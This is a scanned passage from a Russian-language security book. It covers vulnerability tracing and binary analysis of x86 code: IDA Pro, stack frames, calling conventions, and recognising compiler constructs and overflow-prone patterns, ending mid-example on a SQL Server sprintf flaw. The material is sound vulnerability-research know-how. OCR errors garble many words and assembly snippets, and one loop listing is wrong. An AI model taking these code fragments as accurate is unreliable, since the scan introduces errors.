компилятор модифицирует функцию при статической компоновке. Такие сценарии встречаются относительно редко, но к неприятностям лучше подготовиться заранее, поэтому в систему сигнатур был добавлен специальный символ * (звездочка). Каждое вхождение этого символа в сигнатуре представляет байт, который следует игнорировать при сравнении. Это позволяет создавать чрезвычайно гибкие сигнатуры, повышающие общую надежность системы. Сигнатуры выглядят примерно так: Контрольная сумма Сигнатура Имя функции B10CCBF9 558ВЕС83ЕС208В4Ь085689****558ВЕС83 vt_example
300 Глава 15. Трассировка уязвимостей Другие классы уязвимостей В этом разделе кратко представлены другие классы дефектов безопасности, выявляемые посредством трассировки уязвимостей. Целочисленное переполнение Операции выделения/копирования содержимого памяти можно перехватывать для выявления аномальных размеров аргументов. Это простое решение в сочетании с технологиями фаззинга может использоваться для выявления широкого спектра уязвимостей, относящихся к классу целочисленного переполнения. Дефекты форматных строк Анализ аргументов, передаваемых различным форматным функциям (таким, как snprintf), также выявляет разнообразные уязвимости класса форматных строк. Прочие классы Уязвимости Directory Traversal, SQL Injection, XSS и многих других классов часто удается выявить простым отслеживанием функций, задействованных в работе с их данными. Итоги За последнее десятилетие сложность программного обеспечения систем безопасности стремительно росла. То же можно сказать и о приемах выявления и эксплуатации уязвимостей нового поколения. В наши дни переполнение буферов встречается в серьезных программах гораздо реже, чем раньше. Тем не менее, периодически обнаруживаются новые уязвимости, связанные, например, с математическими проблемами при операциях с целыми числами. Как правило, такие проблемы существовали и раньше, но только сейчас была осознана их реальность. Из-за сложности анализа и значительных затрат времени, необходимого для выявления серьезных уязвимостей, многие аналитики все чаще применяют средства автоматизации. Используя технологии фаззинга, аналитики могут искать уязвимости программных продуктов буквально круглосуточно, даже во сне. Конечно, это повышает эффективность их работы по сравнению с ручными технологиями анализа. Вероятно, в следующем десятилетии получат широкое распространение гибридные технологии анализа. Системы такого типа будут обслуживаться группами программистов, в которых каждый участник специализируется в определенных областях. В конечном итоге подобные системы доведут безопасность программных продуктов до приемлемого уровня, и нам уже не придется беспокоиться, что очередной интернет-червь вызовет хаос в сетевых инфраструктурах.
ГЛАВА 16 Двоичный анализ Многие критически важные в отношении безопасности и широко применяемые программы распространяются с закрытыми исходными текстами. В частности, :>то относится к операционным системам, доминирующим на серверах и настольных компьютерах. Для оценки безопасности таких программ помимо фаз- зинга необходим двоичный анализ. Обычно считается, что двоичный анализ сложнее анализа исходных текстов. Возможно, новичков это обстоятельство огорчит, но у двоичного анализа есть свои преимущества. В настоящее время двоичным анализом занимается гораздо меньше специалистов, а значит, будет меньше конкурентов при поиске работы. Многие классы ошибок, практически отсутствующие в программах с открытыми исходными текстами, все еще встречаются в коммерческих продуктах с закрытыми текстами. Двоичный анализ отнюдь не является панацеей. Многое из того, что легко выявляется при анализе исходных текстов, довольно трудно обнаружить при изучении двоичного файла. Впрочем, практический опыт и некоторые полезные утилиты избавят вас от многих неприятных переживаний. При анализе коммерческих программ аналитики, работающие в сфере безопасности, часто не выходят за пределы фаззинг-тестов. Хотя фаззинг доказал свою полезность при выявлении дефектов, в случае сложной программы вам все равно не удастся применить его ко всем возможным комбинациям входных данных. Двоичный анализ может дать более полное представление о внутреннем устройстве приложения и дефектах безопасности, которые в нем могут присутствовать. Очевидные различия двух видов анализа Двоичный анализ обладает некоторым сходством с анализом исходных текстов: оба вида анализа направлены на выявление одних и тех же классов дефектов в программном обеспечении. Тем не менее, методы поиска значительно различаются. Если вы уже знакомы с анализом исходных текстов, вам, вероятно, не придется особенно сильно менять свой стиль мышления, однако методология основательно изменится.
302 Глава 16. Двоичный анализ Прежде всего потребуется превосходное знание ассемблера той платформы, на которой будет работать двоичный файл. Недостаточно четкое понимание важных команд обычно приводит к неверной интерпретации кода, путанице и разочарованию. Если вам не удается прочитать и понять дизассемблированный код, стоит начать с тщательного изучения соответствующего ассемблера. Некоторые двоичные файлы, особенно р-код (скажехМ, Java-классы или приложения на Visual Basic), можно полностью декомпилировать в форму, достаточно близкую к исходному коду. Тем не менее, большинство двоичных файлов не поддается надежной декомпиляции современными средствами. В этой главе основное внимание будет уделено анализу двоичных файлов Intel x86, откомпилированных по большей части в среде Microsoft Visual C++. При двоичном анализе, как и при анализе исходных текстов, абсолютно необходимо понимать читаемый код. Тем не менее, многие важные проверки систем безопасности преобразуются в одну или две команды. Следовательно, в любой точке функции необходимо знать контекст исполнения программы. Например, часто требуется знать, какие данные хранятся в регистрах, поскольку многие значения загружаются в регистры и выгружаются из них. Некоторые уязвимости обнаруживаются на двоичном уровне так же легко, как на уровне исходных текстов, и даже проще; тем не менее, когда вы только начинаете осваивать двоичный анализ, ошибки обычно выглядят более сложными и трудными для обнаружения. Однако по мере изучения кода, генерируемого конкретным компилятором, двоичный анализ постепенно станет таким же простым, как и анализ исходных текстов. IDA Pro — лучший инструмент Интерактивный дизассемблер IDA Pro заслужил всеобщее признание как лучший инструмент для анализа двоичных файлов. Программа разработана бельгийской компанией Datarescue (www.datarescue.com) и распространяется за разумную цену. Каждому, кто намерен часто заниматься двоичным анализом, стоит подумать о приобретении лицензии. У IDA Pro имеются свои недостатки, и все же это очень хороший дизассемблер, заметно опережающий своих конкурентов. IDA Pro поддерживает множество двоичных форматов для разных платформ. Скорее всего, вы сможете дезассемблировать даже самые экзотические форматы. Результаты дизассемблирования хранятся в виде базы данных, при этом пользователь может именовать и переименовывать практически любые точки анализируемой программы. Построчные комментарии помогают при анализе сложных конструкций. Как и многие дизассемблеры, IDA Pro отображает строки и перекрестные ссылки в большинстве фрагментов кода и данных. Краткий обзор возможностей IDA Pro Следующее описание орпешпровано на относительно новую версию IDA Pro 4 (на момент написания книги это была версия \ 6) Хорошее понимание базовых
IDA Pro — лучший инструмент 3U3 возможностей IDA Pro окажет огромную помощь при двоичном анализе. Конечно, для проведения анализа не нужно разбираться во всех нетривиальных возможностях программы. Гтльшая часть полезной информации отображается в главном представлении IDA Pro (View-А). В нем содержится дезассемблированная форма кода, подлежащего анализу. Для удобства просмотра используется система цветовых обозначений. Константы обозначаются зеленым цветом, именованные значения — синим, импортированные функции — розовым, а большая часть кода — темно-синим. В главном представлении код отображается по функциям. В коде функций адреса показаны черным цветом, а в коде, не принадлежащем ни одной функции, — коричневым. Импортированные адреса окрашены в розовый цвет, данные, доступные только для чтения, — в серый, а данные, доступные для записи, — в желтый. В IDA Pro также имеется шестиадцатеричиое представление для просмотра кода в шестнадцатеричном и строковом виде. В окне имен перечислены все именованные адреса приложения, в окне функций — все функции, а в окне строк — все строки программы. Существуют и другие вспомогательные окна (например, для отображения структур и перечислений), в которых можно найти почти всю необходимую информацию. IDA Pro поддерживает перекрестные ссылки по всем переходам, вызовам и обращениям к данным; они пригодятся при обратной трассировке кода с произвольной позиции. Кроме того, IDA Pro пытается интерпретировать структуру локального стека для любой функции. Для функций со стандартным кадром стека интерпретация обычно выполняется правильно, но для функций с оптимизированным указателем стека иногда возникают проблемы. В IDA Pro предусмотрена возможность присвоить имя и ввести комментарии для любой позиции программы. Имена и комментарии упрощают анализ кода, а заодно помогают вернуться к программе некоторое время спустя и вспомнить, что в ней происходит. Начиная с версии 4.2, в IDA Pro появились средства графического представления кода, которые нередко оказываются весьма полезными. Также существует целый ряд модулей сторонних производителей, предназначенных для IDA Pro, но в большинстве своем они не разрабатывались специально для двоичного анализа. IDA Pro позволяет задать тип данных, находящихся по любому конкретному адресу памяти. Хотя IDA Pro пытается как можно точнее определить, содержит ли некоторый адрес код, двоичные данные, строковые данные или другие форматы, предположение не всегда соответствует истине. Пользователь может изменить все, что сочтет нужным. Отладочные символические имена Компания Microsoft предоставляет символическую информацию для всех основных версии своих операционных систем. Пакеты символических имен загружаются со страницы Windows Hardware and Driver Central сайта Microsoft.com
(www.microsoft.com/whdc/hwdev) и оказываются чрезвычайно полезными при анализе двоичных файлов. Как правило, информация распространяется в формате PDB (формат базы данных, генерируемый MSVC++). Как минимум, в PDB- файлах содержатся имена практически всех функций и статических данных для двоичного файла. Иногда в PDB-файлы включаются недокументированные внутренние структуры и имена локальных переменных. При наличии такой информации разобраться в двоичном файле гораздо проще. Пакеты символических имен распространяются Microsoft на уровне обновлений Service Pack; для оперативных исправлений они обычно не публикуются. Практически для каждого приложения, библиотеки и драйвера в базовой операционной системе доступна информация о символических именах. IDA Pro может импортировать PDB-файлы с переименованием всех функций двоичного файла. Другие утилиты, такие как PdbDump (www.wiley.com/compbooks/koziol), также интерпретируют PDB-файлы и извлекают из них полезную информацию. Введение в двоичный анализ Для успешного анализа двоичного файла необходимо точно и правильно разбираться в коде, генерируемом компилятором. Компиляторы нередко создают конструкции, смысл которых не очевиден. В этой главе будут представлены не только многие стандартные конструкции, но и нестандартные конструкции, часто встречающиеся в программах. После знакомства с ними откомпилированный код станет почти таким же понятным, как исходный текст программы. Стековый кадр Тому, кто понимает структуру стекового кадра для любой конкретной функции, будет проще разобраться в программе, а во многих случаях — и выявить потенциальные дефекты переполнения стека. Хотя на платформе х86 имеется немало распространенных схем строения стековых кадров, никаких стандартов не существует, и структура кадра определяется компилятором. Далее будут рассмотрены некоторые часто встречающиеся примеры. Традиционные стековые ВР-кадры Самую распространенную категорию составляют традиционные ВР-кадры (Base Pointer — указатель базы). В регистре ЕВР (регистр указателя кадра) содержится константный указатель на предыдущий кадр стека. Указатель кадра также определяет константный адрес, по отношению к которому задается смещение при обращениях к аргументам функций и локальным стековым переменным. Пролог функции, использующей традиционные стековые кадры, выглядит следующим образом (в записи Intel): push ebp // Сохранение старого указателя кадра в стеке mov ebp. esp // Присвоение новому указателю кадра содержимого esp sub esp, 5ch // Резервирование памяти для локальных переменных
Введение в двоичный анализ 305 (Чековые переменные хранятся с отрицательным смещением по отношению к ЕВР, а аргументы функции — с положительным смещением. Первый аргумент находится по адресу ЕВР+8. IDA Pro переименовывает ЕВР+8 в EBP+arg_0. При таком типе кадра почти все ссылки на аргументы и локальные стековые переменные задаются по отношению к указателю кадра. Традиционная структура очень хорошо документирована и лучше всего отслеживается при анализе. И большей части кода, сгенерированного MSVC++ и gcc, используется именно .>тот тип стекового кадра. Функции без указателя кадра И целях оптимизации многие компиляторы генерируют код, в котором указатель кадра не применяется. Некоторые компиляторы в отдельных случаях даже используют регистр указателя кадра как регистр общего назначения. В этом случае функция при обращениях к аргументам и локальным переменным задействует в качестве базы указатель стека ESP, а не указатель кадра ЕВР. Хотя указатель кадра в традиционной схеме остается неизменным, указатель стека изменяется при каждом занесении данных в стек или извлечении данных из стека. Описанная схема продемонстрирована в следующем примере: this_function push esi push edi push ebx push dword ptr [esp+lOh] // Первый аргумент this_function push dword ptr [esp+18h] // Второй аргумент this_function call some_function При входе в функцию первый аргумент находится по адресу ESP+4. После занесения трех регистров в стек первый аргумент оказывается по адресу ESP+10h. После занесения первого аргумента в стек второй аргумент находится по адресу ESP+18h. IDA Pro пытается определить местонахождение указателя стека в любой конкретной точке функции, то есть программа пытается идентифицировать данные, к которым производится обращение. Тем не менее, если конвенция вызова внешних функций неизвестна, IDA Pro иногда путается и выдает крайне странный дизассемблированный код. В отдельных случаях для определения размера стекового буфера приходится вручную вычислять местонахождение указателя стека. К счастью, подобные недоразумения встречаются редко. Нетрадиционные стековые ВР-кадры Microsoft Visual Studio .NET 2003 периодически генерирует код со стековыми кадрами, использующим константный указатель кадра, хотя и не в традиционном смысле. Указатель кадра остается неизменным, а все обращения к аргументам и локальным стековым переменным осуществляются по отношению к нему, но указатель ссылается не па кадр вызывающей функции, а на адрес с отрицательным смещением по отношению к традиционному указателю кадра. Пролог функции выглядит примерно так:
ouo i лава 16. двоичный анализ push ebp lea ebp. [esp-5ch] sub esp. 98h В этом случае первый аргумент функции находится по адресу ЕВР+64И вместо традиционного ЕВР+8. Диапазон памяти от EBP-3ch до EBP+5ch занимают локальные стековые переменные. Операционная система Windows Server 2003 откомпилирована с использовали* ем нетрадиционного ВР-кадра, поэтому в системных библиотеках и службах задействована именно такая схема. На момент написания книги дизассемблер IDA Pro не распознавал эту конструкцию и совершенно неправильно интерпретировал кадр стека в подобных функциях. Остается надеяться, что в ближайшем будущем эта особенность будет учтена. Конвенции вызова В разных функциях приложения могут использоваться разные конвенции вызова, особенно если отдельные компоненты приложения написаны на разных языках. Как правило, в коде, сгенерированном компиляторами MSVC++ и gcc, встречаются только две конвенции вызова. Конвенция вызова С Под конвенцией вызова С понимается конкретный способ передачи аргументом и восстановления стека программы (не стоит думать, что эта конвенция используется только в программах, написанных на С). В конвенции вызова С аргументы функции заносятся в стек справа налево по отношению к порядку их перечисления в исходном тексте программы. Иначе говоря, последний аргумент заносится в стек первым, а первый аргумент заносится последним непосредственно перед вызовом функции. Вызывающая функция должна сама восстановить свой указатель стека после возврата управления. Допустим, имеется следующая функция: some_function(some_poi nter,some_i nteger); При использовании конвенции С вызов будет выглядеть примерно так: push some_integer push some_pointer call some_function add esp. 8 Обратите внимание: второй аргумент заносится в стек перед первым, а указатель стека восстанавливается вызывающей функцией. Поскольку функции передаются два аргумента, указатель стека увеличивается на 8 байт. Для восстановления стека часто применяется команда pop процессоров х8б с указанием временного регистра. В этом примере стек можно было бы восстановить двукратным выполнением команды pop ECX (по 4 байта за один раз). Конвенция вызова Stdcall Конвенция Stdcall тоже часто встречается в коде С и C++. Аргументы передаются в том же порядке, чго и в конвенции С: первый аргумент заносится в стек
Введение в двоичный анализ 307 последним перед вызовом функции. С другой стороны, за восстановление стека обычно отвечает вызванная функция. Обычно на процессорах х86 это делается командой ret. Например, функция с тремя аргументами, использующая конвенцию Sldcall, возвращает управление командой ret OCh, освобождая 12 байт. И общем случае конвенция Stdcall более эффективна, поскольку вызывающей функции не нужно освобождать место в стеке. Однако функции с переменным числом аргументов (скажем, функции семейства printf) не могут освободить память, занимаемую их аргументами. Эта задача должна быть решена вызывающем! функций, которой известно количество аргументов. Компиляторные конструкции Код, сгенерированный компилятором, на первый взгляд часто кажется непонятным. Давайте рассмотрим некоторые распространенные конструкции и способы, которыми их можно распознать. Строение функции Код функции, сгенерированный компилятором, имеет переменную структуру. Обычно функция начинается с пролога и завершается эпилогом и кодом воз- прата, хотя команда возврата присутствует не всегда. Кроме того, во многих функциях за командой возврата следует код, который в конечном счете возвращает управление команде возврата. Хотя функция может возвращать управление в нескольких местах, компилятор оптимизирует ее и оставляет только одну общую точку возврата. Начиная с Visual Studio б, компилятор MSVC++ генерирует код с весьма пе- фадиционным строением функций. Компилятор по специальной логике определяет, какие ветви будут выполнены с большей вероятностью, а какие — с меньшей. Менее вероятные ветви исключаются из основной функции и размещаются в удаленных фрагментах. Иногда в них включается код обработки редких ошибок или маловероятных ситуаций. Тем не менее, в этих фрагментах часто выявляются уязвимости, поэтому их также следует рассматривать при анализе двоичных файлов. В IDA Pro такие фрагменты обозначаются красными стрелками. ШЛ Pro интерпретирует их неверно и не отслеживает обращения к локальным стековым переменным. I] хорошо оптимизированном коде функции могут совместно использовать фрагменты кода. Например, если несколько функций возвращают управление одинаковым способом, восстанавливают одни и те же регистры и место в стеке, технически можно обьединить их в один эпилог и код возврата. Впрочем, такое решение используется крайне редко, и в действительности попадалось нам юлько в библиотеке NTDLL операционных систем Windows NT. Команды if Команды if принадлежат к числу самых распространенных конструкций язы- ьа С. Иногда они легко угадываются и интернрешрукнея в откомпилированном коде. Чаще всего они представляются командами стр и test, за которыми
308 Глава 16. Двоичный анализ следует условный переход. В следующем коротком примере показана простая команда if языка С и эквивалентный ассемблерный код: С-код: int some_int, if(some_int != 32) somejint = 32; Откомпилированное представление (ebp-4 = some_int): mov eax. [ebp-4] cmp eax, 32 jnz past_next_j instruction mov eax. 32 Команды if обычно транслируются в безусловные переходы или условные проверки; впрочем, это не всегда так, и реорганизация кода компилятором часто нарушает общепринятые правила. В некоторых контекстах совершенно очевидно, что условный переход соответствует команде if, но в других контекстах команды if трудно отличить от других конструкций, например, циклов. Понимание общей структуры функции поможет разобраться, где искать команды if. Циклы for и while Цикл — один из тех фрагментов приложения, в котором часто обнаруживаются уязвимости. Идентификация циклов в двоичных файлах часто считается одним из ключевых факторов анализа. Хотя на самом деле однозначно идентифицировать разные типы циклов в откомпилированном коде невозможно, распознать их на функциональном уровне обычно несложно. Как правило, для циклов характерен условный или безусловный переход в обратном направлении, который приводит к повторному выполнению кода. В следующем примере продемонстрирован простой цикл while и его откомпилированное представление. С-код: char *ptr, *output. *outputend; while(*ptr) { *output++ = *ptr++, if(output >= outputend) break, } Откомпилированное представление (есх = ptr, edx = output, ebp-4 = some_int): mov al. [ecx] test al,al jz loop_end mov [edxj.al "inc ecx inc ecx cmp edx. [ebp+8] jae loop_end jmp loop_begin
Введение в двоичный анализ 309 Для простого цикла for генерируется похожий код; из-за этого иногда бывает i руд но определить, какая команда применялась в исходном тексте. Тем не менее, функциональность кода важнее его оформления. Такие циклы являются источником многих ошибок в приложениях с закрытыми исходными текстами. Конструкции switch Команды switch в ассемблерном представлении обычно преобразуются в до- иольно сложные конструкции, а откомпилированный код выглядит несколько странно. Структура кода в значительной степени зависит от компилятора и вида конкретно используемой команды switch. Команда switch может быть неэффективно заменена последовательностью из нескольких команд if; некоторые компиляторы в отдельных случаях именно гак и делают. Иногда команды проще читаются, а аналитик даже не подозревает, что в исходном тексте программы вместо группы команд if было что-то иное. Мели проверяемые условия switch образуют последовательность, компилятор часто генерирует таблицу переходов и индексирует ее по управляющей переменной switch. Часто такое решение отличается высокой эффективностью, но оно не всегда возможно. Далее приводится пример. С-код: int some_int,other_int, switch(some_int) { case 0 other_int = 0. break, case 1 otherjmt = 10. break, case 2 other_int = 30, break, default other_int = 50, break, } Откомпилированное представление (some_int = eax, otherjnt = ebx): emp eax, 2 ja default_case jmp switch_jmp_table[eax*4]. case_0 xor ebx, ebx jmp end_switch case_l mov ebx, 10 jmp end_switch case 2
310 Глава 16. Диоичмый анализ mov_ebx, 30 jmp end_switch default_case- mov_ebx, 50 end_switch. Таблица данных switch_jmp_table находится в памяти по адресу, доступному; только для чтения. В ней хранятся смещения case_0, case_l и case_2. IDA Pro очень хорошо распознает команды switch с такой реализацией и точно сообщает пользователю, какое значение управляющей переменной соответствует той или иной ветви. Если значения switch не образуют последовательности, их не удастся эффективно использовать для индексирования таблицы переходов. В таких случаях компиляторы часто задействуют конструкции, в которых управляющая переменная постепенно уменьшается, а результат сравнивается со значениями из фиксированного набора. Подобная реализация позволяет эффективно обрабатывать даже численно далекие значения. Например, если команда switch должна проверять управляющую переменную на равенство значениям 3, 4, 7 и 24, это может быть сделано так (ЕАХ — управляющая переменная): sub eax, 3 jz case_three dec eax jz case_four sub eax. 3 jz case_seven sub eax, 17 jz case_twenty_four jmp default Эта конструкция правильно обрабатывает все возможные значения switch, а также умалчиваемые значения. Она часто применяется в коде, сгенерированном современными компиляторами MSVC++. Аналоги функции memcpy Многие компиляторы оптимизируют библиотечную функцию memcpy и преобразуют ее в простой набор ассемблерных команд, работающих гораздо эффективнее вызова функции. Подобные операции копирования в памяти часто оказываются источником уязвимостсй, связанных с переполнением буферов, и легко распознаются в дезассемблированном коде. Используемый набор команд выглядит так: mov esi. source_address mov ebx, ecx shr ecx, 2 II Длина делится на 4 mov edi , eax // Приемный адрес repe movsd // Копирование 4-байтовых блоков mov ecx, ebx and ecx. 3 I ! Размер остатка repe movsb // Копирование остатка
Введение в двоичный анализ 311 И данном случае данные сначала копируются 4-байтовыми блоками; это сделано для ускорения работы команды repe movsd. Команда копирует ЕСХ 4-байто- имх блоков из ESI в EDI (поэтому длина в регистре ЕСХ делится на 4). Команда iepe movsb копирует остаток данных. Функция memset также часто оптимизируется аналогичным способом — команда repe stosd заполняет память символом, хранящимся в регистре AL. Для команды memmove подобная оптимизация не применяется из-за возможности перекрытия областей данных. Аналоги функции strlen библиотечная функция strlen, как и memcpy, часто оптимизируется некоторыми компиляторами в простой набор команд ассемблера х8б. Подобная оптимизация также устраняет затраты на вызов функции. Тем, кто незнаком с кодом, сгенерированным компилятором, код strLen на первый взгляд может показаться странным. Обычно он выглядит примерно так: mov edi, string or ecx. Oxffffffff xor eax, eax repne scasb not ecx dec ecx В результате выполнения этих команд длина строки сохраняется в регистре ЕСХ. Команда repne scasb сканирует строку, заданную регистром EDI, и ищет и ней символ из младшего байта ЕАХ; в данном случае это ноль. Для каждого просмотренного символа команда уменьшает ЕСХ и увеличивает EDI. В конце операции repne scasb, то есль при обнаружении нулевого байта, регистр EDI указывает на один символ за пулевым байтом, а ЕСХ содержит длину строки с обратным знаком минус 2. После инвертирования ЕСХ с последующим вычитанием 1 в ЕСХ оказывается правильная длина строки. На практике сразу же за командой not ecx часто следует команда sub edi, ecx, возвращающая EDI исходное значение. Представленную конструкцию можно встретить в любом коде, обрабатывающем строковые данные. А это означает, что вы должны распознать ее и понимать, как она работает. Конструкции C++ Большая часть кода с закрытыми исходными текстами в операционных системах и серверах пишется на C++. Во многих отношениях структура этого кода очень близка к структуре простого С-кода. Конвенции вызова очень близки, а для компиляторов с поддержкой С и C++ используется один и тот же механизм, генерирующий ассемблерный код. Тем не менее, у анализа кода на C++ есть свои особенности. Как правило, анализ двоичных файлов с кодом на C++
312 Глава 16. Двоичный анализ несколько сложнее анализа кода на С, но после приобретения некоторого oiibiri особых трудностей не будет. Указатель this Указатель this ссылается на экземпляр класса, для которого была вызвана теку^ щая функция (метод). Указатель this должен передаваться функции вызывают щей стороной; тем не менее, он передается не так, как обычные аргументы функЦ ций. Вместо этого указатель this передается в регистре ЕСХ. При этом в коде ищ C++ используется конвенция вызова, называемая thiscall. Пример функции, ne-i редающей указатель на объект класса другой функции: push edi push esi push [ebp+arg_0] lea ecx, [ebx+5Ch] cal1 ?ParseInput@HTTP_HEADERS Как видите, указатель сохраняется в регистре ЕСХ непосредственно перед вызовом функции. В данном случае в ЕСХ оказывается указатель на объект НТТР_ HEADERS. Поскольку содержимое регистра ЕСХ достаточно неустойчиво, указатель this после вызова функции часто хранится в другом регистре, но передается он почти всегда в регистр ЕСХ. Реконструкция определений классов При анализе кода на C++ очень полезно понимать структуру объекта. Чтобы собрать эту информацию, аналитик должен искать в правильном месте; многие объекты имеют достаточно сложное строение и содержат вложенные объекты. Общий подход к реконструкции объектов основан па поиске всех обращений относительно указателя на объект, и следовательно, на перечислении членов этого класса. В большинстве случаев типы членов класса приходится угадывать или выводить логическим путем, но иногда удается определить, используются ли они в качестве аргументов известных функций или в другом известном контексте. Если вы пытаетесь реконструировать объект вручную, начинать лучше всего с конструктора и деструктора класса. В этих функциях производится инициализация и уничтожение объектов; следовательно, именно в этих функциях чаще всего встречаются обращения к наибольшему количеству членов класса. Как правило, конструктор и деструктор сообщают много полезной информации о классе, но далеко не всегда в них содержится вся необходимая информация. Возможно, для формирования более полного представления об объекте придется обратиться к другим методам класса. Если для программы доступна информация символических имен, конструктор и деструктор находятся очень легко — это функции с именами ИмяКласса:: ИмяКласса и ИмяКласса::-Имя Класса (где ИмяКласса — имя класса). Если поиск по имени невозможен, конструктор и деструктор часто удается распознать
Реконструкция определений классов 313 по структуре. Конструкторы обычно выглядят как линейные блоки кода, инициализирующие большое количество членов структур. Как правило, в них отсут- пнуют сравнения и условные переходы, но часто встречаются операции обнуления членов структур. Для деструкторов характерны операции освобождения членов структур. Л л вар Флейк написал превосходную программу, оформленную в виде модуля 11)A Pro, которая берет на себя часть «черной работы» по перечислению членов структур объекта. Программу можно загрузить с сайта BlackHat Consulting no адресу www.blackhat.com/html/bh-consuW Таблицы виртуальных функций Реализация таблиц виртуальных функций, или v-таблиц, используемая компиляторами, создает немало трудностей при анализе двоичных файлов. При вызове функции из v-таблицы бывает довольно трудно отследить путь передачи вызова без дополнительного анализа на стадии исполнения. Например, следующая конструкция часто встречается в откомпилированном коде на C++: mov eax, [esi] lea ecx. [ebp+var_8] push ebx push ecx mov ecx, esi push [ebp+arg_0] push [ebp+var_4] call dword ptr [eax+24h] В ESI хранится указатель на объект, а управление передается по указателю на функцию из v-таблицы. Чтобы узнать, куда будет передано управление, необходимо знать структуру v-таблицы. Обычно нужную информацию удается найти в конструкторе класса. В данном примере в конструкторе присутствует следующий фрагмент: mov dword ptr [esi], offset vtable На этот раз отследить вызов оказалось несложно, но нередко управление передается по указателю на функцию из v-таблицы вложенного объекта. В таких случаях потребуется дополнительно потрудиться. Полезные факты Далее приводятся несколько фактов, па первый взгляд тривиальных, но все равно полезных и играющих ключевую роль при двоичном анализе: о возвращаемое значение функции передается в регистре ЕАХ; о команды jl и jg используются в знаковых сравнениях; о команды jb и ja используются в беззнаковых сравнениях; о команда movsx расширяет знак регистра, а команда movzx дополняет его нулями.
314 Глава 16. Двоичный анализ Ручные методы двоичного анализа Проверенный временем метод чтения дизассемблированного кода по-прежнему остается чрезвычайно эффективным средством поиска уязвимостей в двоичных файлах. Стратегия, которую выбирает аналитик в начале двоичного анализа приложения, зависит от качества кода. Просмотр библиотечных вызовов Если качество кода достаточно низкое, обычно бывает полезно начать с поиска простых ошибок, которые в наши дни встречаются только в программах с закрытыми исходными текстами. Проанализируйте простые вызовы библиотечных функций, традиционно считающихся проблемными; возможно, вам удастся быстро обнаружить ошибку. К числу таких функций относятся strcpy, strcat, sptintf и все их производные. Операционная система Windows содержит много разновидностей перечисленных функций, включая версии для кодировки ASCII и для расширенных кодировок. Например, к семейству strcpy могут принадлежать функции strcpy, IstrcpyA, IstrcpyW, wesepy и пользовательские функции, включенные в приложение. Другим типичным источником проблем в Windows является функция Multi- ByteToWideChar. Шестой аргумент функции определяет размер приемного буфера для широких символов, но его значение равно количеству широких символов, а не общему размеру буфера. Программисты по привычке часто передают в шестом аргументе результат вызова sizeof(). Поскольку каждый широкий символ занимает 2 байта, возникает потенциальная возможность записать в приемный буфер вдвое больше данных, чем в нем помещается. В прошлом эта ошибка привела к выявлению уязвимостей в веб-сервере Microsoft IIS. Подозрительные циклы и команды записи Если анализ простых вызовов функций API не обнаруживает явных уязвимостей, нужно браться за обычный двоичный анализ. Как и при всех остальных формах анализа, :)то потребует определенного понимания логики приложения и изучения соответствующих секций кода. Если в приложении имеется очевидная отправная точка для анализа (скажем, функция обработки непроверенных данных, предоставляемых нападающим), начните с нее и читайте код дальше. Если такой точки нет, попробуйте поискать в коде информацию, относящуюся к конкретному протоколу. Например, веб-сервер при синтаксическом разборе входных запросов с большой вероятностью начнет с метода запроса; возможно, поиск основных методов в двоичном файле даст хорошую отправную точку для дальнейшего анализа. Некоторые стандартные конструкции свидетельствуют о потенциально опасном коде, который может содержать команды переполнения буфера. Индексируемая запись в символьный массив: mov [ecx+edx"]. al
Ручные методы двоичного анализа 315 Индексируемая запись в буфер, находящийся в локальном стеке: mov [ebp+ecx-100h], al .'Запись по указателю, сопровождаемая увеличением указателя: mov [edx]. ах inc edx inc edx Копирование из буфера, находящегося под контролем нападающего, с расширением знака: mov cl. [edx] movsx eax. cl Увеличение или уменьшение регистра с данными, предоставленными нападающим (приводит к целочисленному переполнению): mov eax. [edi] add eax, 2 cp eax. 256 jae error Усечение до 16- или 8-разрядных значений: push edi call strlen add esp. 4 mov word ptr [ebp-4]. ax Научившись распознавать эти конструкции и их аналоги, вы сможете обнаруживать широкий спектр уязвимостеи, связанных с перезаписью содержимого памяти. Анализ на более высоком уровне и логические ошибки Хотя большинство уязвимостеи, выявляемых в паши дни, связано с перезаписью содержимого памяти, некоторые дефекты не имеют с этим ничего общего и являются простыми логическими ошибками приложения. Хорошим примером служит дефект двойного декодирования в IIS, обнаруженный несколько лет назад. Правда, такие уязвимости очень трудно обнаружить двоичным анализом; от аналитика требуется либо везение, либо очень хорошее понимание приложения. Естественно, никаких общих методов выявления таких дефектов быть не может. В общем случае самый верный путь заключается в доскональном изучении кода, который обращается к любым критическим ресурсам на основании данных, предоставленных пользователем. Для поиска подобных ошибок творческое мышление и открытость ума желательны, а вот обилие свободного времени — обязательно. Графический анализ двоичных файлов Некоторые функции, особенно очень большие и сложные, становятся более понятными в графическом виде. На рисунке лучше распознаются некоторые сложные циклы, а секции кода труднее спутать в графическом виде, чем в линейном
316 Глава 16. Двоичный анализ дизассемблерном коде. IDA Pro может сгенерировать диаграмму (графическое представление) любой функции, в котором каждый узел представляет непрерывную секцию кода. Узлы связываются переходами или передачей упраи-. ления, но выполнение каждой секции как непрерывного блока практически гарантировано. Многие диаграммы получаются слишком большими, и их неудобно просматривать на мониторе. В таких случаях лучше распечатать многостраничную копию диаграммы на принтере и проанализировать ее на бумаге. Впрочем, графический механизм IDA Pro неправильно интерпретирует некоторые конструкции, сгенерированные компилятором. Например, в диаграмму не включаются фрагменты кода, сгенерированные MSVC++, поэтому диаграммы могут получиться неполными, а часто — и бесполезными. Графический модуль для IDA Pro, написанный Алваром Флейком, правильно обрабатывает такие фрагменты и строит полные диаграммы для откомпилированного кода MSVC++. Ручная декомпиляция Некоторые функции не могут нормально анализироваться в дизассемблирован- ном виде из-за своих размеров. Другие функции содержат очень сложные циклические конструкции, безопасность которых не может быть проверена традиционным двоичным анализом. В таких ситуациях может сработать метод ручной декомпиляции. Очевидно, точные результаты декомпиляции анализируются проще, чем дизас- семблированный код, но эту точность еще надо обеспечить. Нет смысла анализировать декомпилированный код с ошибками. Полезно полностью отказаться от ориентации на анализ (если это возможно) и попытаться просто воссоздать представление функции в виде исходного текста. Примеры двоичных уязвимостей Рассмотрим конкретные примеры применения двоичного анализа для поиска уязвимостей. Дефекты Microsoft SQL Server Двое соавторов книги, Дэвид Личфилд и Дэйв Айтел, обнаружили ряд серьезных уязвимостей в Microsoft SQL Server. Эти дефекты использовались червями (в частности, Slammer) и имели далеко идущие последствия для сетевой безопасности. Краткое изучение основных служб сетевой библиотеки SQL Server, в которой не были установлены исправления, позволяет быстро выявить источник этих дефектов. Уязвимость, обнаруженная Личфилдом, является результатом непроверенного вызова sptrinf в функциях обработки пакетов: mov edx, [ebp+var_24C8] push edx push offset aSoftwareMic_7 , 